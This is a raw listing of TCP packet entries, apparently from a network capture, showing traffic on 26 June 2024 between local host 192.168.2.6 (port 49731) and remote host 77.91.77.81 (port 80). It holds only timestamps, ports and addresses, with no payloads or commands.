Jun 26, 2024 08:16:44.428534031 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.428569078 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.428591013 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.428610086 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.428647041 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.428683043 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.428689957 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.428752899 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.457268000 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.457307100 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.457341909 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.457370043 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.457377911 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.457405090 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.457412958 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.457448006 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.457458019 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.457458019 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.457468033 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.457483053 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.457504034 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.457542896 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.457551003 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.457586050 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.457617044 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.457617044 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.457621098 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.457654953 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.457690001 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.457700014 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.457726002 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.457752943 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.457766056 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.457778931 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.457804918 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.457813978 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.457849979 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.457884073 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.458081961 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.492620945 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.492688894 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.492719889 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.492743015 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.492772102 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.492777109 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.492806911 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.492829084 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.492830038 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.492863894 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.492880106 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.492898941 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.492925882 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.492933035 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.492959976 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.492966890 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.492994070 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.492997885 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.493024111 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.493030071 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.493043900 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.493071079 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.493091106 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.493122101 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.493124962 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.493160009 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.493170977 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.493211031 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.493212938 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.493263006 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.493294954 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.493295908 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.493329048 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.493333101 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.493366003 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.493371010 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.493371010 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.493400097 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.493446112 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.493454933 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.493472099 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.493509054 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.493541956 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.493558884 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.493587971 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.493592978 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.493621111 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.493626118 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.493654966 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.493678093 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.493706942 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.493731976 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.493766069 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.493772030 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.493772030 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.493815899 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.493824005 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.493870020 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.493896008 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.493918896 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.493946075 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.493952990 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.494003057 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.494029999 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.494036913 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.494086981 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.494107008 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.494123936 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.494132996 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.494163990 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.494199038 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.494213104 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.494236946 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.494247913 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.494282961 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.494312048 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.494316101 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.494338989 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.494365931 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.494416952 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.494441986 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.494441986 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.494467020 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.494467974 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.494514942 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.494544029 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.494549036 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.494577885 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.494579077 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.494594097 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.494627953 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.494628906 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.494663954 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.494677067 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.494695902 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.494712114 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.494748116 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.494755030 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.494797945 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.494803905 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.494842052 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.494848967 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.494885921 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.494920015 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.494921923 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.494935989 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.494954109 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.494982004 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.494986057 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.495012045 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.495018959 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.495045900 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.495054007 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.495073080 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.495107889 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.495111942 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.495141029 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.495148897 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.495189905 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.495223045 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.495224953 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.495249033 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.495275974 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.495285988 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.495325089 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.495348930 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.495368004 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.495373964 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.495407104 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.495439053 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.495474100 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.495479107 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.495512962 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.495512962 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.495542049 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.495546103 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.495572090 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.495579958 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.495608091 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.495614052 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.495644093 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.495646954 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.495682955 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.495697021 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.495716095 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.495721102 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.495750904 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.495775938 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.495786905 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.495820045 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.495820999 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.495834112 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.495852947 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.495888948 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.495913982 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.495923042 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.495944023 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.495958090 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.495963097 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.495990992 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.496010065 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.496031046 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.496120930 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.496126890 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.496154070 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.496161938 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.496186018 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.496197939 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.496207952 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.496232986 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.496242046 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.496265888 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.496279955 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.496300936 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.496332884 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.496380091 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.496381044 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.496416092 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.496416092 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.496443033 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.496454954 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.515105963 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.515144110 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.515158892 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.515177011 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.515206099 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.515218973 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.515228987 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.515264034 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.515278101 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.515300035 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.515310049 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.515332937 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.515341043 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.515366077 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.515394926 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.515429020 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.541241884 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.541297913 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.541326046 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.541332960 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.541340113 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.541378021 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.541382074 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.541415930 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.541429996 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.541450024 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.541479111 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.541484118 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.541507006 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.541517973 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.541551113 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.541551113 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.541552067 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.541583061 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.541584969 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.541624069 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.541636944 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.541690111 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.541698933 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.541732073 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.541781902 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.541816950 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.541840076 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.541863918 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.579497099 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.579555035 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.579593897 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.579624891 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.579648018 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.579678059 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.579699039 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.579730034 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.579735041 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.579768896 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.579771042 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.579799891 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.579804897 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.579838991 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.579845905 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.579871893 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.579904079 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.579906940 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.579936981 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.579941988 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.579976082 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.580003023 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.580008984 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.580035925 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.580043077 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.580070019 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.580097914 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.580111980 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.580167055 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.580208063 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.580257893 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.580260038 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.580293894 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.580306053 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.580343008 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.580346107 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.580395937 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.580439091 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.580446005 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.580485106 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.580535889 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.580583096 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.580585957 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.580634117 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.580636978 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.580670118 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.580696106 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.580703020 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.580709934 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.580739021 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.580753088 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.580800056 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.580805063 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.580837965 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.580857038 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.580872059 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.580882072 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.580904961 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.580930948 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.580940962 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.580949068 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.580974102 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.581008911 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.581032991 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.581043005 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.581067085 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.581074953 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.581104994 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.581127882 CEST	80	49731	77.91.77.81	192.168.2.6
